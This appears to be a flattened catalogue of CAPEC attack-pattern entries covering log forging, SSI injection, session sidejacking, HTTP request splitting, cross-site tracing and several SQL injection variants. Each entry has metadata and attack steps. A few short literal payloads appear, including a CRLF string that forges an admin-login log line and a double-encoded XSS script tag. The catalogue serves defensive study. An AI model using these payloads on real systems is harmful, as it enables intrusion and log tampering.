Cwe: CWE-150
Reference_from_capec: REF-131
Reference_from_capec: REF-550
Reference_from_capec: REF-551
Reference_from_capec: REF-552
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Software
  1. Dave Nielsen and Patrick Breitenbach PayPal Web Services (aka PHP Toolkit) 0.50, and possibly earlier versions, allows remote attackers to enter false payment entries into the log file via HTTP POST requests to ipn_success.php. See also: CVE-2006-0201
  2. If a user submits the string "twenty-one" for val, the following entry is logged: INFO: Failed to parse val=twenty-one However, if an attacker submits the string twenty-one%0a%0aINFO:+User+logged+out%3dbadguy the following entry is logged: INFO: Failed to parse val=twenty-oneINFO: User logged out=badguy Clearly, attackers can use this same mechanism to insert arbitrary log entries.

Explore

  1. Determine Application's Log File Format: The first step is exploratory meaning the attacker observes the system. The attacker looks for action and data that are likely to be logged. The attacker may be familiar with the log format of the system.
  2. Techniques
    Determine logging utility being used by application (e.g. log4j)
    Gain access to application's source code to determine log file formats.
    Install or obtain access to instance of application and observe its log file format.

Exploit

  1. Manipulate Log Files: The attacker alters the log contents either directly through manipulation or forging or indirectly through injection of specially crafted input that the target software will write to the logs. This type of attack typically follows another attack and is used to try to cover the traces of the previous attack.
  2. Techniques
    Use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry. For example: "%0D%0A[Thu%20Nov%2012%2011:22]:Info:%20User%20admin%20logged%20in" may add the following forged entry into a log file: "[Thu Nov 12 12:11:22]:Info: User admin logged in" Different applications may require different encodings of the carriage return and line feed characters.
    Insert a script into the log file such that if it is viewed using a web browser, the attacker will get a copy of the operator/administrator's cookie and will be able to gain access as that user. For example, a log file entry could contain The script itself will be invisible to anybody viewing the logs in a web browser (unless they view the source for the page).
High
  • The target host is logging the action and data of the user.
  • The target host insufficiently protects access to the logs or logging mechanisms.
Low: This attack can be as simple as adding extra characters to the logged data (e.g. username). Adding entries is typically easier than removing entries. Medium: A more sophisticated attack can try to defeat the input validation mechanism. Draft High 3.9
268
WSDL Scanning Detailed This attack targets the WSDL interface made available by a web service. The attacker may scan the WSDL interface to reveal sensitive information about invocation patterns, underlying technology implementations and associated vulnerabilities. This type of probing is carried out to perform more serious attacks (e.g. parameter tampering, malicious content injection, command injection, etc.). WSDL files provide detailed information about the services ports and bindings available to consumers. For instance, the attacker can submit special characters or malicious content to the Web service and can cause a denial of service condition or illegal access to database records. In addition, the attacker may try to guess other private methods by using the information provided in the WSDL files. 2014-06-23 02:00:00 Capec: CAPEC-95
Cwe: CWE-538
Reference_from_capec: REF-554
Reference_from_capec: REF-555
2021-10-21 02:00:00 2.1 Confidentiality:
  • Read Data
Software
  1. A WSDL interface may expose a function vulnerable to SQL Injection.
  2. The Web Services Description Language (WSDL) allows a web service to advertise its capabilities by describing operations and parameters needed to access the service. As discussed in step 5 of this series, WSDL is often generated automatically, using utilities such as Java2WSDL, which takes a class or interface and builds a WSDL file in which interface methods are exposed as web services. Because WSDL generation often is automated, enterprising adversaries can use WSDL to gain insight into the both public and private services. For example, an organization converting legacy application functionality to a web services framework may inadvertently pass interfaces not intended for public consumption to a WSDL generation tool. The result will be SOAP interfaces that give access to private methods. Another, more subtle WSDL attack occurs when an enterprising attacker uses naming conventions to guess the names of unpublished methods that may be available on the server. For example, a service that offers a stock quote and trading service may publish query methods such as requestStockQuote in its WSDL. However, similar unpublished methods may be available on the server but not listed in the WSDL, such as executeStockQuote. A persistent adversary with time and a library of words and phrases can cycle thru common naming conventions (get, set, update, modify, and so on) to discover unpublished application programming interfaces that open doors into private data and functionality. Source : "Seven Steps to XML Mastery, Step 7: Ensure XML Security", Frank Coyle. See reference section.

Explore

  1. Scan for WSDL Documents: The adversary scans for WSDL documents. The WDSL document written in XML is like a handbook on how to communicate with the web services provided by the target host. It provides an open view of the application (function details, purpose, functional break down, entry points, message types, etc.). This is very useful information for the adversary.

Experiment

  1. Analyze WSDL files: An adversary will analyze the WSDL files and try to find potential weaknesses by sending messages matching the pattern described in the WSDL file. The adversary could run through all of the operations with different message request patterns until a breach is identified.

Exploit

  1. Craft malicious content: Once an adversary finds a potential weakness, they can craft malicious content to be sent to the system. For instance the adversary may try to submit special characters and observe how the system reacts to an invalid request. The message sent by the adversary may not be XML validated and cause unexpected behavior.
High
  • A client program connecting to a web service can read the WSDL to determine what functions are available on the server.
  • The target host exposes vulnerable functions within its WSDL interface.
Low: This attack can be as simple as reading WSDL and starting sending invalid request. Medium: This attack can be used to perform more sophisticated attacks (SQL injection, etc.) Draft High 3.9
54
Block Access to Libraries Detailed An application typically makes calls to functions that are a part of libraries external to the application. These libraries may be part of the operating system or they may be third party libraries. It is possible that the application does not handle situations properly where access to these libraries has been blocked. Depending on the error handling within the application, blocked access to libraries may leave the system in an insecure state that could be leveraged by an attacker. 2014-06-23 02:00:00 Capec: CAPEC-96
Cwe: CWE-589
2021-06-24 02:00:00 2.1 Availability:
  • Alter Execution Logic
Authorization:
  • Bypass Protection Mechanism
Access Control:
  • Bypass Protection Mechanism
Confidentiality:
  • Other
  • Bypass Protection Mechanism
Software
  1. A web-based system uses a third party cryptographic random number generation library that derives entropy from machine's hardware. This library is used in generation of user session ids used by the application. If the library is inaccessible, the application instead uses a software based weak pseudo random number generation library. An attacker of the system blocks access of the application to the third party cryptographic random number generation library (by renaming it). The application in turn uses the weak pseudo random number generation library to generate session ids that are predictable. An attacker then leverages this weakness to guess a session id of another user to perform a horizontal elevation of privilege escalation and gain access to another user's account.

Explore

  1. Determine what external libraries the application accesses.

Experiment

  1. Block access to the external libraries accessed by the application.
  2. Monitor the behavior of the system to see if it goes into an insecure/inconsistent state.
  3. If the system does go into an insecure/inconsistent state, leverage that to obtain information about the system functionality or data, elevate access control, etc. The rest of this attack will depend on the context and the desired goal.
Medium
  • An application requires access to external libraries.
  • An attacker has the privileges to block application access to external libraries.
Low: Knowledge of how to block access to libraries, as well as knowledge of how to leverage the resulting state of the application based on the failed call. Draft Medium 3.9
603
Server Side Include (SSI) Injection Detailed An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands. 2014-06-23 02:00:00 Capec: CAPEC-101
Cwe: CWE-97
Cwe: CWE-74
Cwe: CWE-20
Wasc: 36
Owasp Attacks: Server-Side Includes (SSI) Injection
Reference_from_capec: REF-610
2021-10-21 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Confidentiality:
  • Read Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
Software
  1. Consider a website hosted on a server that permits Server Side Includes (SSI), such as Apache with the "Options Includes" directive enabled. Whenever an error occurs, the HTTP Headers along with the entire request are logged, which can then be displayed on a page that allows review of such errors. A malicious user can inject SSI directives in the HTTP Headers of a request designed to create an error. When these logs are eventually reviewed, the server parses the SSI directives and executes them.

Explore

  1. Determine applicability: The adversary determines whether server side includes are enabled on the target web server.
  2. Techniques
    Look for popular page file names. The attacker will look for .shtml, .shtm, .asp, .aspx, and other well-known strings in URLs to help determine whether SSI functionality is enabled.
    Fetch .htaccess file. In Apache web server installations, the .htaccess file may enable server side includes in specific locations. In those cases, the .htaccess file lives inside the directory where SSI is enabled, and is theoretically fetchable from the web server. Although most web servers deny fetching the .htaccess file, a misconfigured server will allow it. Thus, an attacker will frequently try it.

Experiment

  1. Find Injection Point: Look for user controllable input, including HTTP headers, that can carry server side include directives to the web server.
  2. Techniques
    Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.

Exploit

  1. Inject SSI: Using the found injection point, the adversary sends arbitrary code to be inlcuded by the application on the server side. They may then need to view a particular page in order to have the server execute the include directive and run a command or open a file on behalf of the adversary.
High
  • A web server that supports server side includes and has them enabled
  • User controllable input that can carry include directives to the web server
  • None: No specialized resources are required to execute this type of attack. Determining whether the server supports SSI does not require special tools, and nor does injecting directives that get executed. Spidering tools can make the task of finding and following links easier.
Medium: The attacker needs to be aware of SSI technology, determine the nature of injection and be able to craft input that results in the SSI directives being executed. Draft High 3.9
253
Session Sidejacking Detailed Session sidejacking takes advantage of an unencrypted communication channel between a victim and target system. The attacker sniffs traffic on a network looking for session tokens in unencrypted traffic. Once a session token is captured, the attacker performs malicious actions by using the stolen token with the targeted application to impersonate the victim. This attack is a specific method of session hijacking, which is exploiting a valid session token to gain unauthorized access to a target system or information. Other methods to perform a session hijacking are session fixation, cross-site scripting, or compromising a user or server machine and stealing the session token. 2014-06-23 02:00:00 Capec: CAPEC-102
Cwe: CWE-294
Cwe: CWE-522
Cwe: CWE-523
Cwe: CWE-319
Cwe: CWE-614
2020-07-30 02:00:00 2.1 Integrity:
  • Modify Data
Availability:
  • Unreliable Execution
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Read Data
Software
  1. The attacker and the victim are using the same WiFi public hotspot. When the victim connects to the hotspot, they has a hosted e-mail account open. This e-mail account uses AJAX on the client side which periodically asynchronously connects to the server side and transfers, amongst other things, the user's session token to the server. The communication is supposed to happen over HTTPS. However, the configuration in the public hotspot initially disallows the HTTPS connection (or any other connection) between the victim and the hosted e-mail servers because the victim first needs to register with the hotspot. The victim does so, but their e-mail client already defaulted to using a connection without HTTPS, since it was denied access the first time. Victim's session token is now flowing unencrypted between the victim's browser and the hosted e-mail servers. The attacker leverages this opportunity to capture the session token and gain access to the victim's hosted e-mail account.

Explore

  1. Detect Unprotected Session Token Transfer: The attacker sniffs on the wireless network to detect unencrypted traffic that contains session tokens.
  2. Techniques
    The attacker uses a network sniffer tool like ferret or hamster to monitor the wireless traffic at a WiFi hotspot while examining it for evidence of transmittal of session tokens in unencrypted or recognizably encrypted form. An attacker applies their knowledge of the manner by which session tokens are generated and transmitted by various target systems to identify the session tokens.

Experiment

  1. Capture session token: The attacker uses sniffing tools to capture a session token from traffic.
  2. Insert captured session token: The attacker attempts to insert a captured session token into communication with the targeted application to confirm viability for exploitation.

Exploit

  1. Session Token Exploitation: The attacker leverages the captured session token to interact with the targeted application in a malicious fashion, impersonating the victim.
High
  • An attacker and the victim are both using the same WiFi network.
  • The victim has an active session with a target system.
  • The victim is not using a secure channel to communicate with the target system (e.g. SSL, VPN, etc.)
  • The victim initiated communication with a target system that requires transfer of the session token or the target application uses AJAX and thereby periodically "rings home" asynchronously using the session token
  • A packet sniffing tool, such as wireshark, can be used to capture session information.
Low: Easy to use tools exist to automate this attack. Draft High 3.9
593
HTTP Request Splitting Detailed An adversary abuses the flexibility and discrepancies in the parsing and interpretation of HTTP Request messages by different intermediary HTTP agents (e.g., load balancer, reverse proxy, web caching proxies, application firewalls, etc.) to split a single HTTP request into multiple unauthorized and malicious HTTP requests to a back-end HTTP agent (e.g., web server). See CanPrecede relationships for possible consequences. This entails the adversary injecting malicious user input into various standard and/or user defined HTTP headers within a HTTP Request through user input of Carriage Return (CR), Line Feed (LF), Horizontal Tab (HT), Space (SP) characters as well as other valid/RFC compliant special characters and unique character encoding. This malicious user input allows for web script to be injected in HTTP headers as well as into browser cookies or Ajax web/browser object parameters like XMLHttpRequest during implementation of asynchronous requests. This attack is usually the result of the usage of outdated or incompatible HTTP protocol versions as well as lack of syntax checking and filtering of user input in the HTTP agents receiving HTTP messages in the path. This differs from CAPEC-34 HTTP Response Splitting, which is usually an attempt to compromise a client agent (e.g., web browser) by sending malicious content in HTTP responses from back-end HTTP infrastructure. HTTP Request Splitting is an attempt to compromise aback-end HTTP agentvia HTTP Request messages. HTTP Smuggling (CAPEC-33 and CAPEC-273) is different from HTTP Splitting due to the fact it relies upon discrepancies in the interpretation of various HTTP Headers and message sizes and not solely user input of special characters and character encoding. HTTP Smuggling was established to circumvent mitigations against HTTP Request Splitting techniques. 2014-06-23 02:00:00 Capec: CAPEC-105
Cwe: CWE-74
Cwe: CWE-113
Cwe: CWE-138
Cwe: CWE-436
Wasc: 24
Reference_from_capec: REF-117
Reference_from_capec: REF-617
Reference_from_capec: REF-679
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands
  • Modify Data
Availability:
  • Execute Unauthorized Commands
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Execute Unauthorized Commands
  • Gain Privileges
  • Read Data
Communications
Software
  1. Microsoft Internet Explorer versions 5.01 SP4 and prior, 6.0 SP2 and prior, and 7.0 contain a vulnerability that could allow an unauthenticated, remote adversary to conduct HTTP request splitting and smuggling attacks. The vulnerability is due to an input validation error in the browser that allows adversaries to manipulate certain headers to expose the browser to HTTP request splitting and smuggling attacks. Attacks may include cross-site scripting, proxy cache poisoning, and session fixation. In certain instances, an exploit could allow the adversary to bypass web application firewalls or other filtering devices. Microsoft has confirmed the vulnerability and released software updates.

Explore

  1. Survey network to identify target: The adversary performs network reconnaissance by monitoring relevant traffic to identify the network path and parsing of the HTTP messages with the goal of identifying potential targets.
  2. Techniques
    Scan networks to fingerprint HTTP infrastructure and monitor HTTP traffic to identify HTTP network path with a tool such as a Network Protocol Analyzer.

Experiment

  1. Identify vulnerabilities in targeted HTTP infrastructure and technologies: The adversary sends a variety of benign/ambiguous HTTP requests to observe responses from HTTP infrastructure in order to identify differences/discrepancies in the interpretation and parsing of HTTP requests by examining supported HTTP protocol versions, HTTP headers, syntax checking and input filtering.
  2. Cause differential HTTP responses by experimenting with identified HTTP Request vulnerabilities: The adversary sends maliciously crafted HTTP requests with custom strings and embedded web scripts and objects in HTTP headers to interfere with the parsing of intermediary and back-end HTTP infrastructure, followed by normal/benign HTTP request from the adversary or a random user. The intended consequences of the malicious HTTP requests will be observed in the HTTP infrastructure response to the normal/benign HTTP request to confirm applicability of identified vulnerabilities in the adversary's plan of attack.
  3. Techniques
    Continue the monitoring of HTTP traffic.
    Utilize different sequences of special characters (CR - Carriage Return, LF - Line Feed, HT - Horizontal Tab, SP - Space and etc.) to bypass filtering and back-end encoding and to embed: additional HTTP Requests with their own headers malicious web scripts into parameters of HTTP Request headers (e.g., browser cookies like Set-Cookie or Ajax web/browser object parameters like XMLHttpRequest) adversary chosen encoding (e.g., UTF-7) to utilize additional special characters (e.g., > and <) filtered by the target HTTP agent. Note that certain special characters and character encoding may be applicable only to intermediary and front-end agents with rare configurations or that are not RFC compliant.
    Follow an unrecognized (sometimes a RFC compliant) HTTP header with a subsequent HTTP request to potentially cause the HTTP request to be ignored and interpreted as part of the preceding HTTP request.

Exploit

  1. Perform HTTP Request Splitting attack: Using knowledge discovered in the experiment section above, smuggle a message to cause one of the consequences.
  2. Techniques
    Leverage techniques identified in the Experiment Phase.
Medium
34
  • An additional intermediary HTTP agent such as an application firewall or a web caching proxy between the adversary and the second agent such as a web server, that sends multiple HTTP messages over same network connection.
  • Differences in the way the two HTTP agents parse and interpret HTTP requests and its headers.
  • HTTP headers capable of being user-manipulated.
  • HTTP agents running on HTTP/1.0 or HTTP/1.1 that allow for Keep Alive mode, Pipelined queries, and Chunked queries and responses.
  • Tools capable of crafting malicious HTTP messages and monitoring HTTP messages responses.
Medium: Possess knowledge on the exact details in the discrepancies between several targeted HTTP agents in path of an HTTP message in parsing its message structure and individual headers. Stable High 3.9
220
DEPRECATED: XSS through Log Files Detailed This attack pattern has been deprecated as it referes to an existing chain relationship between "CAPEC-93 : Log Injection-Tampering-Forging" and "CAPEC-63 : Cross-Site Scripting". Please refer to these CAPECs going forward. 2014-06-23 02:00:00 Capec: CAPEC-106
2017-05-01 02:00:00 2.1 None None Deprecated None 3.9
Cross Site Tracing Detailed Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server. The adversary uses an XSS attack to have victim's browser sent an HTTP TRACE request to a destination web server, which will proceed to return a response to the victim's web browser that contains the original HTTP request in its body. Since the HTTP header of the original HTTP TRACE request had the victim's session cookie in it, that session cookie can now be picked off the HTTP TRACE response and sent to the adversary's malicious site. XST becomes relevant when direct access to the session cookie via the "document.cookie" object is disabled with the use of httpOnly attribute which ensures that the cookie can be transmitted in HTTP requests but cannot be accessed in other ways. Using SSL does not protect against XST. If the system with which the victim is interacting is susceptible to XSS, an adversary can exploit that weakness directly to get their malicious script to issue an HTTP TRACE request to the destination system's web server. 2014-06-23 02:00:00 Capec: CAPEC-107
Cwe: CWE-693
Cwe: CWE-648
Owasp Attacks: Cross Site Tracing
Reference_from_capec: REF-3
2022-02-22 01:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Gain Privileges
Software
  1. An adversary determines that a particular system is vulnerable to reflected cross-site scripting (XSS) and endeavors to leverage this weakness to steal the victim's authentication cookie. An adversary realizes that since httpOnly attribute is set on the user's cookie, it is not possible to steal it directly with their malicious script. Instead, the adversary has their script use XMLHTTP ActiveX control in the victim's IE browser to issue an HTTP TRACE to the target system's server which has HTTP TRACE enabled. The original HTTP TRACE request contains the session cookie and so does the echoed response. The adversary picks the session cookie from the body of HTTP TRACE response and ships it to the adversary. The adversary then uses the newly acquired victim's session cookie to impersonate the victim in the target system. In the absence of an XSS weakness on the site with which the victim is interacting, an adversary can get the script to come from the site that they control and get it to execute in the victim's browser (if they can trick the victim's into visiting their malicious website or clicking on the link that they supplies). However, in that case, due to the same origin policy protection mechanism in the browser, the adversary's malicious script cannot directly issue an HTTP TRACE request to the destination system's web server because the malicious script did not originate at that domain. An adversary will then need to find a way to exploit another weakness that would enable them to circumvent the same origin policy protection.

Explore

  1. Determine if HTTP Trace is enabled: Determine if HTTP Trace is enabled at the web server with which the victim has an active session
  2. Techniques
    An adversary may issue an HTTP Trace request to the target web server and observe if the response arrives with the original request in the body of the response.

Experiment

  1. Identify mechanism to launch HTTP Trace request: The adversary attempts to force the victim to issue an HTTP Trace request to the targeted application.
  2. Techniques
    The adversary probes for cross-site scripting vulnerabilities to force the victim into issuing an HTTP Trace request.

Exploit

  1. Create a malicious script that pings the web server with HTTP TRACE request: The adversary creates a malicious script that will induce the victim's browser to issue an HTTP TRACE request to the destination system's web server. The script will further intercept the response from the web server, pick up sensitive information out of it, and forward to the site controlled by the adversary.
  2. Techniques
    The adversary's malicious script circumvents the httpOnly cookie attribute that prevents from hijacking the victim's session cookie directly using document.cookie and instead leverages the HTTP TRACE to catch this information from the header of the HTTP request once it is echoed back from the web server in the body of the HTTP TRACE response.
  3. Execute malicious HTTP Trace launching script: The adversary leverages an XSS vulnerability to force the victim to execute the malicious HTTP Trace launching script
  4. Intercept HTTP TRACE response: The adversary's script intercepts the HTTP TRACE response from teh web server, glance sensitive information from it, and forward that information to a server controlled by the adversary.
Medium
  • HTTP TRACE is enabled on the web server
  • The destination system is susceptible to XSS or an adversary can leverage some other weakness to bypass the same origin policy
  • Scripting is enabled in the client's browser
  • HTTP is used as the communication protocol between the server and the client
  • None: No specialized resources are required to execute this type of attack.
Medium: Understanding of the HTTP protocol and an ability to craft a malicious script Draft Very High 3.9
593
Command Line Execution through SQL Injection Detailed An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host. 2014-06-23 02:00:00 Capec: CAPEC-108
Cwe: CWE-89
Cwe: CWE-74
Cwe: CWE-20
Cwe: CWE-78
Cwe: CWE-114
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Unreliable Execution
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Gain Privileges
  • Execute Unauthorized Commands (Run Arbitrary Code)
Software
  1. SQL injection vulnerability in Cacti 0.8.6i and earlier, when register_argc_argv is enabled, allows remote attackers to execute arbitrary SQL commands via the (1) second or (2) third arguments to cmd.php. NOTE: this issue can be leveraged to execute arbitrary commands since the SQL query results are later used in the polling_items array and popen function (CVE-2006-6799). Reference: https://www.cve.org/CVERecord?id=CVE-2006-6799

Explore

  1. Probe for SQL Injection vulnerability: The attacker injects SQL syntax into user-controllable data inputs to search unfiltered execution of the SQL syntax in a query.

Exploit

  1. Achieve arbitrary command execution through SQL Injection with the MSSQL_xp_cmdshell directive: The attacker leverages a SQL Injection attack to inject shell code to be executed by leveraging the xp_cmdshell directive.
  2. Inject malicious data in the database: Leverage SQL injection to inject data in the database that could later be used to achieve command injection if ever used as a command line argument
  3. Trigger command line execution with injected arguments: The attacker causes execution of command line functionality which leverages previously injected database content as arguments.
Low
  • The application does not properly validate data before storing in the database
  • Backend application implicitly trusts the data stored in the database
  • Malicious data is used on the backend as a command line argument
  • None: No specialized resources are required to execute this type of attack.
High: The attacker most likely has to be familiar with the internal functionality of the system to launch this attack. Without that knowledge, there are not many feedback mechanisms to give an attacker the indication of how to perform command injection or whether the attack is succeeding. Draft Very High 3.9
66
Object Relational Mapping Injection Detailed An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible. 2014-06-23 02:00:00 Capec: CAPEC-109
Cwe: CWE-20
Cwe: CWE-89
Cwe: CWE-564
Reference_from_capec: REF-4
2021-06-24 02:00:00 2.1 Integrity:
  • Modify Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Unreliable Execution
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Gain Privileges
  • Execute Unauthorized Commands (Run Arbitrary Code)
Software
  1. When using Hibernate, it is possible to use the session.find() method to run queries against the database. This is an overloaded method that provides facilities to perform binding between the supplied user data and place holders in the statically defined query. However, it is also possible to use the session.find() method without using any of these query binding overloads, hence effectively concatenating the user supplied data with rest of the SQL query, resulting in a possibility for SQL injection. While the framework may provide mechanisms to use methods immune to SQL injections, it may also contain ways that are not immune that may be chosen by the developer.

Explore

  1. Determine Persistence Framework Used: An attacker tries to determine what persistence framework is used by the application in order to leverage a weakness in the generated data access layer code or a weakness in a way that the data access layer may have been used by the developer.
  2. Techniques
    An attacker provides input to the application in an attempt to induce an error screen that reveals a stack trace that gives an indication of the automated data access layer used. Or an attacker may simply make some educated guesses and assume, for instance, that Hibernate is used and try to craft an attack from there.
  3. Probe for ORM Injection vulnerabilities: The attacker injects ORM syntax into user-controllable data inputs of the application to determine if it is possible modify data query structure and content.

Exploit

  1. Perform SQL Injection through the generated data access layer: An attacker proceeds to exploit a weakness in the generated data access methods that does not properly separate control plane from the data plan, or potentially a particular way in which developer might have misused the generated code, to modify the structure of the executed SQL queries and/or inject entirely new SQL queries.
  2. Techniques
    An attacker uses normal SQL injection techniques and adjusts them to reflect the type of data access layer generation framework used by the application.
Low
  • An application uses data access layer generated by an ORM tool or framework
  • An application uses user supplied data in queries executed against the database
  • The separation between data plane and control plane is not ensured, through either developer error or an underlying weakness in the data access layer code generation framework
  • None: No specialized resources are required to execute this type of attack.
Medium: Knowledge of general SQL injection techniques and subtleties of the ORM framework is needed Draft High 3.9
66
SQL Injection through SOAP Parameter Tampering Detailed An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message. 2014-06-23 02:00:00 Capec: CAPEC-110
Cwe: CWE-89
Cwe: CWE-20
2021-06-24 02:00:00 2.1 Integrity:
  • Modify Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Unreliable Execution
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Gain Privileges
  • Execute Unauthorized Commands (Run Arbitrary Code)
Software
  1. An attacker uses a travel booking system that leverages SOAP communication between the client and the travel booking service. An attacker begins to tamper with the outgoing SOAP messages by modifying their parameters to include characters that would break a dynamically constructed SQL query. They notice that the system fails to respond when these malicious inputs are injected in certain parameters transferred in a SOAP message. The attacker crafts a SQL query that modifies their payment amount in the travel system's database and passes it as one of the parameters . A backend batch payment system later fetches the payment amount from the database (the modified payment amount) and sends to the credit card processor, enabling the attacker to purchase the airfare at a lower price. An attacker needs to have some knowledge of the system's database, perhaps by exploiting another weakness that results in information disclosure.

Explore

  1. Detect Incorrect SOAP Parameter Handling: The attacker tampers with the SOAP message parameters and looks for indications that the tampering caused a change in behavior of the targeted application.
  2. Techniques
    The attacker tampers with the SOAP message parameters by injecting some special characters such as single quotes, double quotes, semi columns, etc. The attacker observes system behavior.

Experiment

  1. Probe for SQL Injection vulnerability: The attacker injects SQL syntax into vulnerable SOAP parameters identified during the Explore phase to search for unfiltered execution of the SQL syntax in a query.

Exploit

  1. Inject SQL via SOAP Parameters: The attacker injects SQL via SOAP parameters identified as vulnerable during Explore phase to launch a first or second order SQL injection attack.
  2. Techniques
    An attacker performs a SQL injection attack via the usual methods leveraging SOAP parameters as the injection vector. An attacker has to be careful not to break the XML parser at the service provider which may prevent the payload getting through to the SQL query. The attacker may also look at the WSDL for the web service (if available) to better understand what is expected by the service provider.
High
  • SOAP messages are used as a communication mechanism in the system
  • SOAP parameters are not properly validated at the service provider
  • The service provider does not properly utilize parameter binding when building SQL queries
  • None: No specialized resources are required to execute this type of attack.
High: If the attacker has to perform Blind SQL Injection Medium: If the attacker is able to gain good understanding of the system's database schema Draft Very High 3.9
66
Double Encoding Detailed The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target. 2014-06-23 02:00:00 Capec: CAPEC-120
Cwe: CWE-173
Cwe: CWE-172
Cwe: CWE-177
Cwe: CWE-181
Cwe: CWE-183
Cwe: CWE-184
Cwe: CWE-74
Cwe: CWE-20
Cwe: CWE-697
Cwe: CWE-692
2022-09-29 02:00:00 2.1 Software
  1. Double Enconding Attacks can often be used to bypass Cross Site Scripting (XSS) detection and execute XSS attacks.: %253Cscript%253Ealert('This is an XSS Attack')%253C%252Fscript%253E Since <, <, and / are often sued to perform web attacks, these may be captured by XSS filters. The use of double encouding prevents the filter from working as intended and allows the XSS to bypass dectection. This can allow an adversary to execute malicious code.

Explore

  1. Survey the application for user-controllable inputs: Using a browser, an automated tool or by inspecting the application, an attacker records all entry points to the application.
  2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.
    Manually inspect the application to find entry points.

Experiment

  1. Probe entry points to locate vulnerabilities: Try double-encoding for parts of the input in order to try to get past the filters. For instance, by double encoding certain characters in the URL (e.g. dots and slashes) an adversary may try to get access to restricted resources on the web server or force browse to protected pages (thus subverting the authorization service). An adversary can also attempt other injection style attacks using this attack pattern: command injection, SQL injection, etc.
  2. Techniques
    Try to use double-encoding to bypass validation routines.
Low
  • The target's filters must fail to detect that a character has been doubly encoded but its interpreting engine must still be able to convert a doubly encoded character to an un-encoded character.
  • The application accepts and decodes URL string request.
  • The application performs insufficient filtering/canonicalization on the URLs.
  • Tools that automate encoding of data can assist the adversary in generating encoded strings.
Draft Medium 3.9
267
Directory Indexing Detailed An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks. 2014-06-23 02:00:00 Capec: CAPEC-127
Cwe: CWE-424
Cwe: CWE-425
Cwe: CWE-288
Cwe: CWE-285
Cwe: CWE-732
Cwe: CWE-276
Cwe: CWE-693
Attack: T1083
Reference_from_capec: REF-11
2021-06-24 02:00:00 2.1 Confidentiality:
  • Read Data (Information Leakage)
Software
